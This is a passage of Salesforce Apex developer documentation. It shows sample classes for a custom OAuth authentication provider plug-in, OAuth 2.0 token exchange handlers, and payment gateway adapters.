        Approval.ProcessResult result2 = Approval.process(req2);
    }
}
```

```
// Verify the results
System.assert(result2.isSuccess(), 'Result Status:'+result2.isSuccess());

System.assertEquals(
    'Approved', result2.getInstanceStatus(),
    'Instance Status'+result2.getInstanceStatus());
}
}
```

Authentication

Salesforce provides various ways to authenticate users. Build a combination of authentication methods to fit the needs of your org and your users' use patterns.

[Create a Custom Authentication Provider Plug-in](#)

You can use Apex to create a custom OAuth-based authentication provider plug-in for single sign-on (SSO) to Salesforce.

[OAuth 2.0 Token Exchange Handler Examples](#)

Sometimes you want to integrate Salesforce into a complex system where you have a primary app, a central identity provider, and multiple other apps and microservices. In this model, users log in to the primary app via the identity provider and access data provided by the other apps and microservices. To fit Salesforce into this model as one of the apps providing data, use the OAuth 2.0 token exchange flow, which implements an Apex token exchange handler.

Create a Custom Authentication Provider Plug-in

You can use Apex to create a custom OAuth-based authentication provider plug-in for single sign-on (SSO) to Salesforce.

Out of the box, Salesforce supports several external authentication providers for single sign-on, including Facebook, Google, LinkedIn, and service providers that implement the OpenID Connect protocol. By creating a plug-in with Apex, you can add your own OAuth-based authentication provider. Your users can then use the SSO credentials they already use for non-Salesforce applications with your Salesforce orgs.

Before you create your Apex class, you create a custom metadata type record for your authentication provider. For details, see [Create a Custom External Authentication Provider](#).

Sample Classes

This example extends the abstract class `Auth.AuthProviderPluginClass` to configure an external authentication provider called Concur. Build the sample classes and sample test classes in the following order.

1. Concur
2. ConcurTestStaticVar
3. MockHttpResponseGenerator
4. ConcurTestClass



Note: The `Auth.AuthProviderPluginClass` class doesn't include a method for single logout. You can easily configure single logout in Setup. For steps, see [Configure OpenID Connect Single Logout with Salesforce as the Relying Party](#) in *Salesforce Help*. Alternatively, create custom methods for single logout.

```
global class Concur extends Auth.AuthProviderPluginClass {
```

```

        public String redirectUrl; // use this URL for the endpoint that the
authentication provider calls back to for configuration
        private String key;
        private String secret;
        private String authUrl;    // application redirection to the Concur website
for authentication and authorization
        private String accessTokenUrl; // uri to get the new access token from
concur using the GET verb
        private String customMetadataTypeApiName; // api name for the custom metadata
type created for this auth provider
        private String userAPIUrl; // api url to access the user in concur
        private String userAPIVersionUrl; // version of the user api url to access
data from concur

        global String getCustomMetadataType() {
            return customMetadataTypeApiName;
        }

        global PageReference initiate(Map<string,string> authProviderConfiguration,
String stateToPropagate) {
            authUrl = authProviderConfiguration.get('Auth_Url__c');
            key = authProviderConfiguration.get('Key__c');
            //Here the developer can build up a request of some sort
            //Ultimately they'll return a URL where we will redirect the user
            String url = authUrl + '?client_id=' + key
+ '&scope=USER,EXPRPT,LIST&redirect_uri=' + redirectUrl + '&state=' + stateToPropagate;
            return new PageReference(url);
        }

        global Auth.AuthProviderTokenResponse handleCallback(Map<string,string>
authProviderConfiguration, Auth.AuthProviderCallbackState state ) {
            //Here, the developer will get the callback with actual protocol.
            //Their responsibility is to return a new object called AuthProviderToken

            //This will contain an optional accessToken and refreshToken
            key = authProviderConfiguration.get('Key__c');
            secret = authProviderConfiguration.get('Secret__c');
            accessTokenUrl = authProviderConfiguration.get('Access_Token_Url__c');

            Map<String,String> queryParams = state.queryParameters;
            String code = queryParams.get('code');
            String sfdcState = queryParams.get('state');

            HttpRequest req = new HttpRequest();
            String url = accessTokenUrl+'?code=' + code + '&client_id=' + key +
            '&client_secret=' + secret;
            req.setEndpoint(url);
            req.setHeader('Content-Type','application/xml');
            req.setMethod('GET');

            Http http = new Http();
            HTTPResponse res = http.send(req);

```

```

        String responseBody = res.getBody();
        String accessToken = getTokenValueFromResponse(responseBody,
'AccessToken', null);
        //Parse access token value
        String refreshToken = getTokenValueFromResponse(responseBody,
'RefreshToken', null);
        //Parse refresh token value

        return new Auth.AuthProviderTokenResponse('Concur', accessToken,
'refreshToken', sfdcState);
        //don't hard-code the refresh token value!
    }

    global Auth.UserData getUserInfo(Map<String,String>
authProviderConfiguration, Auth.AuthProviderTokenResponse response) {
        //Here the developer is responsible for constructing an Auth.UserData
        object

        String token = response.oauthToken;
        HttpRequest req = new HttpRequest();
        userAPIUrl = authProviderConfiguration.get('API_User_Url__c');
        userAPIVersionUrl =
authProviderConfiguration.get('API_User_Version_Url__c');
        req.setHeader('Authorization', 'OAuth ' + token);
        req.setEndpoint(userAPIUrl);
        req.setHeader('Content-Type', 'application/xml');
        req.setMethod('GET');

        Http http = new Http();
        HTTPResponse res = http.send(req);
        String responseBody = res.getBody();
        String id = getTokenValueFromResponse(responseBody,
'LoginId',userAPIVersionUrl);
        String fname = getTokenValueFromResponse(responseBody, 'FirstName',
userAPIVersionUrl);
        String lname = getTokenValueFromResponse(responseBody, 'LastName',
userAPIVersionUrl);
        String flname = fname + ' ' + lname;
        String uname = getTokenValueFromResponse(responseBody, 'EmailAddress',
userAPIVersionUrl);
        String locale = getTokenValueFromResponse(responseBody, 'LocaleName',
userAPIVersionUrl);
        Map<String,String> provMap = new Map<String,String>();
        provMap.put('what1', 'noidea1');
        provMap.put('what2', 'noidea2');
        return new Auth.UserData(id, fname, lname, flname, uname,
            'what', locale, null, 'Concur', null, provMap);
    }

    private String getTokenValueFromResponse(String response, String token,
String ns) {
        Dom.Document docx = new Dom.Document();
        docx.load(response);
        String ret = null;

```



```

        dom.XmlNode xroot = docx.getrootelement() ;
        if(xroot != null){
            ret = xroot.getChildElement(token, ns).getText();
        }
        return ret;
    }
}

```

Sample Test Classes

The following example contains test classes for the Concur class.

```

@IsTest
public class ConcurTestClass {

    private static final String OAUTH_TOKEN = 'testToken';
    private static final String STATE = 'mocktestState';
    private static final String REFRESH_TOKEN = 'refreshToken';
    private static final String LOGIN_ID = 'testLoginId';
    private static final String USERNAME = 'testUsername';
    private static final String FIRST_NAME = 'testFirstName';
    private static final String LAST_NAME = 'testLastName';
    private static final String EMAIL_ADDRESS = 'testEmailAddress';
    private static final String LOCALE_NAME = 'testLocalName';
    private static final String FULL_NAME = FIRST_NAME + ' ' + LAST_NAME;
    private static final String PROVIDER = 'Concur';
    private static final String REDIRECT_URL =
'http://localhost/services/authcallback/orgId/Concur';
    private static final String KEY = 'testKey';
    private static final String SECRET = 'testSecret';
    private static final String STATE_TO_PROPOGATE = 'testState';
    private static final String ACCESS_TOKEN_URL = 'http://www.dummyhost.com/accessTokenUri';

    private static final String API_USER_VERSION_URL = 'http://www.dummyhost.com/user/20/1';

    private static final String AUTH_URL = 'http://www.dummy.com/authurl';
    private static final String API_USER_URL = 'www.concursolutions.com/user/api';

    // in the real world scenario , the key and value would be read from the (custom fields
in) custom metadata type record
    private static Map<String,String> setupAuthProviderConfig () {
        Map<String,String> authProviderConfiguration = new Map<String,String>();
        authProviderConfiguration.put('Key__c', KEY);
        authProviderConfiguration.put('Auth_Url__c', AUTH_URL);
        authProviderConfiguration.put('Secret__c', SECRET);
        authProviderConfiguration.put('Access_Token_Url__c', ACCESS_TOKEN_URL);
        authProviderConfiguration.put('API_User_Url__c',API_USER_URL);
        authProviderConfiguration.put('API_User_Version_Url__c',API_USER_VERSION_URL);

        authProviderConfiguration.put('Redirect_Url__c',REDIRECT_URL);
        return authProviderConfiguration;
    }
}

```

```

    }

    static testMethod void testInitiateMethod() {
        String stateToPropagate = 'mocktestState';
        Map<String,String> authProviderConfiguration = setupAuthProviderConfig();
        Concur concurCls = new Concur();
        concurCls.redirectUrl = authProviderConfiguration.get('Redirect_Url__c');

        PageReference expectedUrl = new
PageReference(authProviderConfiguration.get('Auth_Url__c') + '?client_id='+
authProviderConfiguration.get('Key__c')
+'&scope=USER,EXPRPT,LIST&redirect_uri='+
authProviderConfiguration.get('Redirect_Url__c') + '&state=' +
STATE_TO_PROPOGATE);
        PageReference actualUrl = concurCls.initiate(authProviderConfiguration,
STATE_TO_PROPOGATE);
        System.assertEquals(expectedUrl.getUrl(), actualUrl.getUrl());
    }

    static testMethod void testHandleCallback() {
        Map<String,String> authProviderConfiguration = setupAuthProviderConfig();
        Concur concurCls = new Concur();
        concurCls.redirectUrl = authProviderConfiguration.get('Redirect_Url__c');

        Test.setMock(HttpCalloutMock.class, new ConcurMockHttpResponseGenerator());

        Map<String,String> queryParams = new Map<String,String>();
        queryParams.put('code', 'code');
        queryParams.put('state', authProviderConfiguration.get('State__c'));
        Auth.AuthProviderCallbackState cbState = new
Auth.AuthProviderCallbackState(null, null, queryParams);
        Auth.AuthProviderTokenResponse actualAuthProvResponse =
concurCls.handleCallback(authProviderConfiguration, cbState);
        Auth.AuthProviderTokenResponse expectedAuthProvResponse = new
Auth.AuthProviderTokenResponse('Concur', OAUTH_TOKEN, REFRESH_TOKEN, null);

        System.assertEquals(expectedAuthProvResponse.provider,
actualAuthProvResponse.provider);
        System.assertEquals(expectedAuthProvResponse.oauthToken,
actualAuthProvResponse.oauthToken);
        System.assertEquals(expectedAuthProvResponse.oauthSecretOrRefreshToken,
actualAuthProvResponse.oauthSecretOrRefreshToken);
        System.assertEquals(expectedAuthProvResponse.state, actualAuthProvResponse.state);

    }

    static testMethod void testGetUserInfo() {
        Map<String,String> authProviderConfiguration = setupAuthProviderConfig();
        Concur concurCls = new Concur();

```

```

        Test.setMock(HttpCalloutMock.class, new ConcurMockHttpResponseGenerator());

        Auth.AuthProviderTokenResponse response = new
Auth.AuthProviderTokenResponse(PROVIDER, OAUTH_TOKEN, 'sampleOAuthSecret', STATE);
        Auth.UserData actualUserData = concurCls.getUserInfo(authProviderConfiguration,
response) ;

        Map<String,String> provMap = new Map<String,String>();
        provMap.put('key1', 'value1');
        provMap.put('key2', 'value2');

        Auth.UserData expectedUserData = new Auth.UserData(LOGIN_ID, FIRST_NAME,
LAST_NAME, FULL_NAME, EMAIL_ADDRESS,
                    null, LOCALE_NAME, null, PROVIDER, null, provMap);

        System.assertNotEquals(expectedUserData, null);
        System.assertEquals(expectedUserData.firstName, actualUserData.firstName);
        System.assertEquals(expectedUserData.lastName, actualUserData.lastName);
        System.assertEquals(expectedUserData.fullName, actualUserData.fullName);
        System.assertEquals(expectedUserData.email, actualUserData.email);
        System.assertEquals(expectedUserData.username, actualUserData.username);
        System.assertEquals(expectedUserData.locale, actualUserData.locale);
        System.assertEquals(expectedUserData.provider, actualUserData.provider);
        System.assertEquals(expectedUserData.siteLoginUrl, actualUserData.siteLoginUrl);

    }

    // implementing a mock http response generator for concur
    public class ConcurMockHttpResponseGenerator implements HttpCalloutMock {
        public HTTPResponse respond(HTTPRequest req) {
            String namespace = API_USER_VERSION_URL;
            String prefix = 'mockPrefix';

            Dom.Document doc = new Dom.Document();
            Dom.XmlNode xmlNode = doc.createRootElement('mockRootNodeName', namespace, prefix);

            xmlNode.addChildElement('LoginId', namespace, prefix).addTextNode(LOGIN_ID);
            xmlNode.addChildElement('FirstName', namespace, prefix).addTextNode(FIRST_NAME);
            xmlNode.addChildElement('LastName', namespace, prefix).addTextNode(LAST_NAME);
            xmlNode.addChildElement('EmailAddress', namespace,
prefix).addTextNode(EMAIL_ADDRESS);
            xmlNode.addChildElement('LocaleName', namespace, prefix).addTextNode(LOCALE_NAME);

            xmlNode.addChildElement('AccessToken', null, null).addTextNode(OAUTH_TOKEN);
            xmlNode.addChildElement('RefreshToken', null, null).addTextNode(REFRESH_TOKEN);
            System.debug(doc.toXmlString());
            // Create a fake response
            HttpResponse res = new HttpResponse();
            res.setHeader('Content-Type', 'application/xml');
            res.setBody(doc.toXmlString());
            res.setStatusCode(200);
            return res;
        }
    }

```

```
}
}
```

SEE ALSO:

[Apex Reference Guide: AuthProviderPlugin Interface](#)

[Salesforce Help: Create a Custom External Authentication Provider](#)

OAuth 2.0 Token Exchange Handler Examples

Sometimes you want to integrate Salesforce into a complex system where you have a primary app, a central identity provider, and multiple other apps and microservices. In this model, users log in to the primary app via the identity provider and access data provided by the other apps and microservices. To fit Salesforce into this model as one of the apps providing data, use the OAuth 2.0 token exchange flow, which implements an Apex token exchange handler.

During the OAuth 2.0 token exchange flow, when a user logs in to the primary app via the identity provider, the identity provider issues a token to the primary app. The primary app can't use this token to directly access Salesforce data, but it can exchange the token for a Salesforce access token. To complete this exchange, the primary app uses an Apex token exchange handler. With the token exchange handler, Salesforce can issue its own access token by validating the identity provider's token and mapping the token's subject, which identifies the end user, to a Salesforce user.

To build an Apex token exchange handler, create a class that extends the `Auth.Oauth2TokenExchangeHandler` abstract class and customize its validation logic and subject mapping.

EDITIONS

Available in: **Enterprise**, **Unlimited**, **Performance**, and **Developer** Editions

Token Exchange Handler Abstract Class

The `Auth.Oauth2TokenExchangeHandler` abstract class contains two methods. Use the first method, `validateIncomingToken`, to validate the identity provider's token. Use the second method, `getUserForTokenSubject`, to map the token's subject to a Salesforce user.

```
global abstract class Oauth2TokenExchangeHandler {

    //First method called in the handler
    global virtual Auth.TokenValidationResult validateIncomingToken(String appDeveloperName,
        Auth.IntegratingAppType appType, String incomingToken, Auth.OAuth2TokenExchangeType
        tokenType) {
        //This method must be overridden by the extending class
        //Validate the identity provider's token. Depending on your use case and token
        type, write validation logic that does these things:
        // Use the token to make a callout to the identity provider's User Info endpoint
        // Use the token to make a callout to identity provider's Introspection endpoint
        // Validate a SAML response
        // Validate a JWT locally
        // The appDeveloperName is the developer name of the Connected App or External
        Client App
        //The IntegratingAppType is an ENUM that is either a Connected App or External
        Client App
        // After you validate the token, return true or false
        return null;
    }
}
```

```
//Second method called in the handler
global virtual User getUserForTokenSubject(Id networkId, Auth.TokenValidationResult
result, Boolean canCreateUser, String appDeveloperName, Auth.IntegratingAppType appType)
{
    //This method must be overridden by the extending class
    //To map the subject of the token to a Salesforce user, write code that does these
things:
    // Get data directly from the token, and query for the user in Salesforce
    // Get data from the identity provider's User Info endpoint using the token and
query for the user in Salesforce
    // Get data from the SAML assertion and query for the user in Salesforce

    // If the user is not in Salesforce, and canCreateUser is true, set up a User
object
    // This includes external users, so it can include an account and contact

    // If the user Id is null, Salesforce automatically inserts the user(assuming that
canCreateUser is true)
    return null;
}
}
```

The way you build your validation and subject mapping processes depends on your use case, identity provider, and token type. Use these examples to get started.

 **Important:** These example implementations and code snippets are for demonstration only. Use them as a starting point, but make sure you evaluate, customize, and test them carefully.

Token Exchange Handler Example Implementation

This example implementation extends the `Auth.Oauth2TokenExchangeHandler` abstract class.

In this example, the `OAuth2TokenExchangeType` enum specifies that the token is a JSON Web Token (JWT). The first method, `validateIncomingToken`, uses a method in the `Auth.JWTUtil` class to validate the token by calling an endpoint on the external identity provider.

Validating the token returns an instance of the `Auth.TokenValidationResult` class with information about the token and the user.

With the second method, `getUserForTokenSubject`, the handler gets information about the user from the token validation result. The example shows two ways to bundle the user data—either by creating a class with a custom data structure or by using the `Auth.UserData` class.

After the handler gets the user data from the token, it looks for a Salesforce user matching the token subject. In this example, the handler doesn't find a user, so it creates a User object. To finish creating the user, Salesforce automatically inserts the User object for you.

```
/*Token Exchange Handler Implementation Example*/
public class MyTokenExchangeClass extends Auth.Oauth2TokenExchangeHandler{

    public override Auth.TokenValidationResult validateIncomingToken(String appDeveloperName,
Auth.IntegratingAppType appType, String incomingToken, Auth.OAuth2TokenExchangeType
tokenType) {
        //Depending on your incoming token, you validate it in different ways
        //If the incoming token is an opaque access token or refresh token, validate it
with a callout to the identity provider
        //If it's a SAML assertion, validate it by checking the XML
    }
}
```

```

//If it's an ID Token or JWT, try using our JWT validation methods
//This example assumes that the incoming token is a JWT and that there is a public
keys endpoint on the identity provider
//Be very careful with any logic in this method, and test carefully before using

Boolean isValid = false;
Auth.JWT jwt;
//Custom data structure
CustomStructuredUserData customData;
//Standard user data structure
Auth.UserData userData;

if (tokenType == Auth.OAuth2TokenExchangeType.JWT || tokenType ==
Auth.OAuth2TokenExchangeType.ID_TOKEN) {
    try {
        jwt = Auth.JWTUtil.validateJWTWithKeysEndpoint(incomingToken,
'https://your-idp.com/keys', true);
        isValid = true;
        //These values are sourced from the JWT or ID Token
        userData = new Auth.UserData('identifier', 'firstName', 'lastName',
'fullName', 'customer@email.com', 'link url', 'remote username', 'local', 'Provider (IDP
Name)', '', new Map<String,String>());
        //You can also pass data as generic object
        customData = new CustomStructuredUserData();
    } catch (Exception e) {
        isValid = false;
    }
} else if (tokenType == Auth.OAuth2TokenExchangeType.ACCESS_TOKEN || tokenType ==
Auth.OAuth2TokenExchangeType.REFRESH_TOKEN) {
    //Put logic for validating an opaque access token or refresh token here
    //This validation typically involves a callout to the introspect or user info
endpoints
    //If you call out to the user info endpoint, make sure to pass the data from
the validation into the getUserForTokenSubject method using an Apex class or the user data
class
    isValid = false;
} else if (tokenType == Auth.OAuth2TokenExchangeType.SAML_2) {
    //Put logic for validating a SAML assertion here
    //This validation involves XML parsing
    isValid = false;
} else {
    //You can add new token types. If you don't know how to validate the token,
always check the type and return false
    isValid = false;
}

if(isValid){
    return new Auth.TokenValidationResult(true, (object)customData, userData,
incomingToken, tokenType, 'CustomErrorMessage');
} else {
    return new Auth.TokenValidationResult(isValid);
}

```

```

    }

    public override User getUserForTokenSubject(Id networkId, Auth.TokenValidationResult
result, Boolean canCreateUser, String appDeveloperName, Auth.IntegratingAppType appType)
{
    //If you passed data from the validation method, grab it now. Remember to cast
back for the custom data
    CustomStructuredUserData customData = (CustomStructuredUserData)result.data;
    Auth.UserData userData = result.userData;

    //If you don't have any data from the token, you can perform a callout using the
incoming token
    String userToken = result.token;

    //Now, search for a user
    User u;
    try {
        u = [SELECT Id, IsActive FROM User WHERE email =: userData.email];
    } catch (Exception e) {
        //No user existed for this email address, or there were too many. Try looking
harder
    }

    // If you didn't find a user, check to see if you can create one
    if (canCreateUser && (u == null)) {
        u = new User();
        u.firstName = userData.firstName;
        u.lastName = userData.lastName;
        //Finish setting user attributes. For external users, make sure you set up the
contact/account/person account
        //If you assign permission sets, do it in a future method to avoid mixed DML
        //Returning the user from this method handles the insertion, so it's not
necessary to manually insert
    }

    return u;
}

//This class gives you a way to pass structured data between the validateIncomingToken
and getUserForTokenSubject methods
//This example is for demonstration only. Implement this class in a way that matches
the data that you are passing
private class CustomStructuredUserData {
    public String customAttribute1;
    public Integer customAttribute2;
    public Map<String,Object> customAttribute3;
}
}

```

Examples for Validating Different Token Types

The custom logic for your implementation of the `validateIncomingToken` method depends on the token type. Here's an overview of the options for different token types.

- For JWTs and ID tokens, use methods in the [Auth.JWTUtil](#) class.
- For opaque tokens, such as opaque access and refresh tokens, call out to the identity provider's introspection or user info endpoints.
- For SAML assertions, write code to parse the XML from the assertion.

In this example, the handler validates a JWT from the identity provider. The handler determines the token type and uses the `validateJWTWithKey` method in the `Auth.JWTUtil` class to validate the JWT with a public key.

```
global override Auth.TokenValidationResult validateIncomingToken(String appDeveloperName,
    Auth.IntegratingAppType appType, String incomingToken, Auth.OAuth2TokenExchangeType
    tokenType) {
    if (tokenType == Auth.OAuth2TokenExchangeType.JWT) {
        // Validates the JWT with a public key, but we also provide methods to validate
        it with a certificate (Auth.JWTUtil.validateJWTWithCert) or with a keys endpoint
        (Auth.JWTUtil.validateJWTWithKeysEndpoint)
        Auth.JWT jwt =
        Auth.JWTUtil.validateJWTWithKey(incomingToken, 'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMI...');
        return new Auth.TokenValidationResult(true);
    }

    return new Auth.TokenValidationResult(false); // Returns a general 'Token handler
    validation failed' message that you can customize
}
```

For opaque access tokens, which can't be introspected locally on your app, call out to the introspection or user info endpoints on the external identity provider. In this example for validating an opaque token, the handler sends a POST request to the identity provider's introspection endpoint and parses the identity provider's JSON response so that Salesforce can understand it. It then validates the response using the `validateIncomingToken` method.

```
global override Auth.TokenValidationResult validateIncomingToken(String appDeveloperName,
    Auth.IntegratingAppType appType, String incomingToken, Auth.OAuth2TokenExchangeType
    tokenType) {
    if (tokenType == Auth.OAuth2TokenExchangeType.ACCESS_TOKEN) {
        // Validate the token with a callout to the introspection endpoint
        String body =
        'client_id=3MVG9AOp4kbriZ...&client_secret=71E147927AC...&token=00Dxx0000006H5T!AQEA...';

        HttpRequest req = new HttpRequest();
        req.setMethod('POST');
        req.setEndpoint('https://<MyCompanyDomain>/services/oauth2/introspect');
        req.setHeader('Content-Type', 'application/x-www-form-urlencoded');
        req.setBody(body);
        Http http = new Http();
        HttpResponse res = http.send(req);

        Boolean active;
        String username;
        Auth.UserData userData;

        if(res.getStatusCode() == 200) {
            System.JSONParser parser = System.JSON.createParser(res.getBody());
            try {
                while((active == null || username == null) && parser.nextToken() !=
                null) {
                    if (parser.getCurrentToken() == JSONToken.FIELD_NAME) {
                        String fieldName = parser.getText();
```



```

        if (fieldName == 'active') {
            parser.nextToken();
            active = parser.getBooleanValue();

            if (!active) {
                return new Auth.TokenValidationResult(false);
            }
        }
        if (fieldName == 'username') {
            parser.nextToken();
            username = parser.getText();
        }
    }

    if (active != null && username != null) {
        userData = new Auth.UserData(null, null, null, null, null, null,
username, null, null, null, null);
    }

    } catch(JSONException e) {
        return new Auth.TokenValidationResult(false); // Returns a general
'Token handler validation failed' message that you can customize
    }
    } else {
        return new Auth.TokenValidationResult(false); // Returns a general 'Token
handler validation failed' message that you can customize
    }

    return new Auth.TokenValidationResult(true, null, userData, incomingToken,
tokenType, null);
}

    return new Auth.TokenValidationResult(false); // Returns a general 'Token handler
validation failed' message that you can customize
    }
}

```

Example for Finding and Creating a User

During subject mapping, your handler finds the subject (end user) of the incoming token and tries to link it to a Salesforce user. Optionally, you can configure your handler to help create a Salesforce user if it can't find one. The handler doesn't technically create the user—instead, it returns a User object. Salesforce then automatically inserts the new user into the User object for you. To create the User object, the `isUserCreationAllowed` field on your [OAuthTokenExchangeHandler metadata definition](#) must be set to `true`. When you set this metadata field to `true`, the `CanCreateUser` parameter in the `getUserForTokenSubject` Apex method is also set to `true`.

If necessary, to get more information about the incoming subject, the handler can call out to the external identity provider or another external system.

In this example implementation, the handler gets information about the user from the identity provider's token and looks for an existing Salesforce user. If no user exists, it creates a User object.

```
global class MyTokenExchangeHandler extends Auth.OAuth2TokenExchangeHandler {

    global override Auth.TokenValidationResult validateIncomingToken(String appDeveloperName,
        Auth.IntegratingAppType appType, String incomingToken, Auth.OAuth2TokenExchangeType
        tokenType) {
        // Validates the incoming token

        Auth.UserData userData = new Auth.UserData('someIdentifier', 'someFirstName',
            'someLastName', 'someFullName', 'someEmail', 'someLink', 'someUsername@my.org', 'en_US',
            'someProvider', 'someSiteLoginUrl', null);

        return new Auth.TokenValidationResult(true, null, userData, incomingToken, tokenType,
            null);
    }

    global override User getUserForTokenSubject(Id networkId, Auth.TokenValidationResult
        result, Boolean canCreateUser, String appDeveloperName, Auth.IntegratingAppType appType)
    {
        String username = result.getUserData().username;

        List<User> existingUser = [SELECT Id, Username, Email, FirstName, LastName, Alias,
            ProfileId FROM User WHERE Username=:username LIMIT 1];

        if (!existingUser.isEmpty()) {
            return existingUser[0];
        }

        User u = new User();
        u.Username = username;
        u.Email = 'some@email.com';
        u.LastName = 'SomeLastName';
        u.Alias = 'MyAlias';
        u.TimeZoneSidKey = 'America/Los_Angeles';
        u.LocaleSidKey = 'en_US';
        u.EmailEncodingKey = 'UTF-8';

        Profile p = [SELECT Id FROM profile WHERE name='Standard User'];
        u.ProfileId = p.Id;
        u.LanguageLocaleKey = 'en_US';

        return u;
    }
}
```

```
}  
}
```

SEE ALSO:

[Salesforce Help: OAuth 2.0 Token Exchange Flow](#)

[Apex Reference Guide: OAuth2TokenExchangeHandler Class](#)

[Apex Reference Guide: TokenValidationResult Class](#)

[Apex Reference Guide: OAuth2TokenExchangeType Enum](#)

[Apex Reference Guide: IntegratingAppType Enum](#)

[Apex Reference Guide: JWTUtil Class](#)

Chatter Answers and Ideas

In Chatter Answers and Ideas, use zones to organize ideas and answers into groups. Each zone can have its own focus, with unique ideas and answers topics to match that focus.

To work with zones in Apex, use the `Answers`, `Ideas`, and `ConnectApi.Zones` classes.

SEE ALSO:

[Apex Reference Guide: Answers Class](#)

[Apex Reference Guide: Ideas Class](#)

[Apex Reference Guide: Zones Class](#)

Use Cases for the CommercePayments Namespace

Review walkthroughs, use cases, and reference material for the `CommercePayments` platform.

To review `CommercePayments` class reference docs, go to [CommercePayments Namespace](#).

[Payment Gateway Adapters](#)

Payment gateway adapters represent the bridge between your payments platform in Salesforce and an external payment gateway.

[Payment Authorization Reversal Service](#)

An authorization reversal is a transaction that negates an authorization by releasing the hold on funds in a customer's payment method.

[Tokenization Service](#)

The credit card tokenization process replaces sensitive customer information with a one-time algorithmically generated number, called a token, used during the payment transaction. Salesforce stores the token and then uses that token as a representation of the credit card used for transactions. The token lets you store information about the credit card without storing sensitive customer data, such as credit card numbers, in Salesforce.

[Alternative Payment Methods](#)

An alternative payment method allows customers to store and represent payment method information not represented by another pre-defined payment method such as `CardPaymentMethod` or `DigitalWallet`. Common examples of alternative payment methods include CashOnDeliver, Klarna, and Direct Debit. Alternative payment methods are available in API v51.0 and later.

[Process Payments](#)

Process a payment in the payment gateway.

[Process Refund](#)

Process a refund in the payment gateway.

[Idempotency Guidelines](#)

Idempotency represents the ability of a payment gateway to recognize duplicate requests submitted either in error or maliciously, and then process the duplicate requests accordingly. When working with an idempotent gateway, consider these important guidelines.

[Sample Payment Gateway Implementation for CommercePayments](#)

We've created a GitHub repository containing code samples for a sample Payeezy payment gateway implementation with the CommercePayments namespace. Review the sample code if you need help with configuring your payment gateway implementation.

Payment Gateway Adapters

Payment gateway adapters represent the bridge between your payments platform in Salesforce and an external payment gateway.

[Building a Synchronous Gateway Adapter](#)

In synchronous payment configurations, the Salesforce payment platform sends transaction information to the gateway, and then waits for a gateway response that contains the final transaction status. Salesforce creates a transaction only if the transaction is successful in the gateway.

[Set Up a Synchronous Payment Gateway Adapter](#)

For payments transactions, you can configure Salesforce to interface with a synchronous payment gateway adapter.

[Building an Asynchronous Gateway Adapter](#)

In an asynchronous payments configuration, the payments platform first sends transaction information to the gateway. The gateway responds with an acknowledgment that it received the transaction, and then the platform creates a pending transaction. The gateway sends a notification, which contains the final transaction status. The platform then updates the transaction's status accordingly.

[Set Up an Asynchronous Payment Gateway Adapter](#)

For payments transactions, you can configure Salesforce to interface with an asynchronous payment gateway adapter.

[Builder Examples for Payment Gateway Adapters](#)

The final sections of a payment gateway adapter should define how the adapter creates requests and responses. The implementation of these classes can vary widely based on your gateway and platform requirements. We've provided several generic examples for review.

Building a Synchronous Gateway Adapter

In synchronous payment configurations, the Salesforce payment platform sends transaction information to the gateway, and then waits for a gateway response that contains the final transaction status. Salesforce creates a transaction only if the transaction is successful in the gateway.

A synchronous gateway adapter implements the [PaymentGatewayAdapter Interface](#). In this topic, we examine a sample synchronous adapter by looking at `PaymentGatewayAdapter`, and then the `processRequest` method, which drives most of the communication between the payment platform and the payment gateway.



Note: Payment gateway adapters can't make future calls, external callouts using `System.Http`, asynchronous calls, queueable calls, or execute DMLs using SOQL.

PaymentGatewayAdapter

All synchronous gateways must implement the `PaymentGatewayAdapter` interface. All `PaymentGatewayAdapters` are required to implement the `processRequest` method.

```
global with sharing class SampleAdapter implements commercepayments.PaymentGatewayAdapter
{
    global SampleAdapter() {}

    global commercepayments.GatewayResponse
    processRequest(commercepayments.PaymentGatewayContext gatewayContext) {
        }
    }
}
```

Processing an Initial Payment Request

When the payments platform receives a payments API request, it passes the request to your gateway adapter for further evaluation. The adapter begins the request evaluation process by calling the `processRequest` method, which represents the first step in a synchronous payment flow. We can break the `processRequest` implementation into three parts.

First, it builds a payment request object that the gateway can understand.

```
commercepayments.RequestType requestType = gatewayContext.getPaymentRequestType();
if (requestType == commercepayments.RequestType.Capture) {
    req.setEndpoint('/pal/servlet/Payment/v52/capture');
    body =
    buildCaptureRequest((commercepayments.CaptureRequest) gatewayContext.getPaymentRequest());
} else if (requestType == commercepayments.RequestType.ReferencedRefund) {
    req.setEndpoint('/pal/servlet/Payment/v52/refund');
    body =
    buildRefundRequest((commercepayments.ReferencedRefundRequest) gatewayContext.getPaymentRequest());
}
```



Note: We don't recommend encoding the request body, which contains the merge fields, including the card number and CVV. This can cause the request to fail to read the encoded request body and to fail to replace the merge field values.

Then, the adapter sends the request to the payment gateway.

```
req.setBody(body);
req.setMethod('POST');
commercepayments.PaymentsHttp http = new commercepayments.PaymentsHttp();
HttpResponse res = null;
try {
    res = http.send(req);
} catch (CalloutException ce) {
    commercepayments.GatewayErrorResponse error = new
    commercepayments.GatewayErrorResponse('500', ce.getMessage());
    return error;
}
```

Finally, the adapter creates a response object to store data from the gateway's response. The type of response object varies based on whether you originally made a payment capture request or a refund request.

```
if ( requestType == commercepayments.RequestType.Capture) {
    // Refer to the end of this doc for sample createCaptureResponse implementation
    response = createCaptureResponse(res);
}
```

```

} else if ( requestType == commercepayments.RequestType.ReferencedRefund) {
    response = createRefundResponse(res);
}
return response;

```

Using Custom Data

To transfer additional, custom data from the frontend to your payment gateway adapter, use the [Checkout Payments Connect API](#). Sending custom data to the adapter supports use cases like implementing conditional logic based on specific data or mapping asynchronous webhook events to a cart by passing an identifier.

To send custom data to your payment gateway adapter, use the `paymentsData` parameter in the [Checkout Payments Connect API](#) input payload. This parameter is a serialized map of type `<String, String>` that supports up to four key-value pairs. Each key and each value can contain up to 255 characters. `paymentsData` is only applicable to Auth and PostAuth payment requests. Simple purchase orders don't support `paymentsData`.

Similarly, the [Post Authorization](#) input payload has an `additionalData` property, which is also a map of type `<String, String>`. The `paymentsData` property is accepted for Auth and PostAuth requests and is transferred to the Payment APIs through the `additionalData` property.

Set Up a Synchronous Payment Gateway Adapter

For payments transactions, you can configure Salesforce to interface with a synchronous payment gateway adapter.

To access the `commercepayments` API, you need the `PaymentPlatform` org permission.

1. Create your payment gateway adapter Apex classes. For instructions, see [Building a Synchronous Gateway Adapter](#).
2. Create a named credential.
 - a. From Setup, in the Quick Find box, enter *Named Credentials*, and then select **New..**
 - b. Complete the required fields, including the URL for your payment gateway.
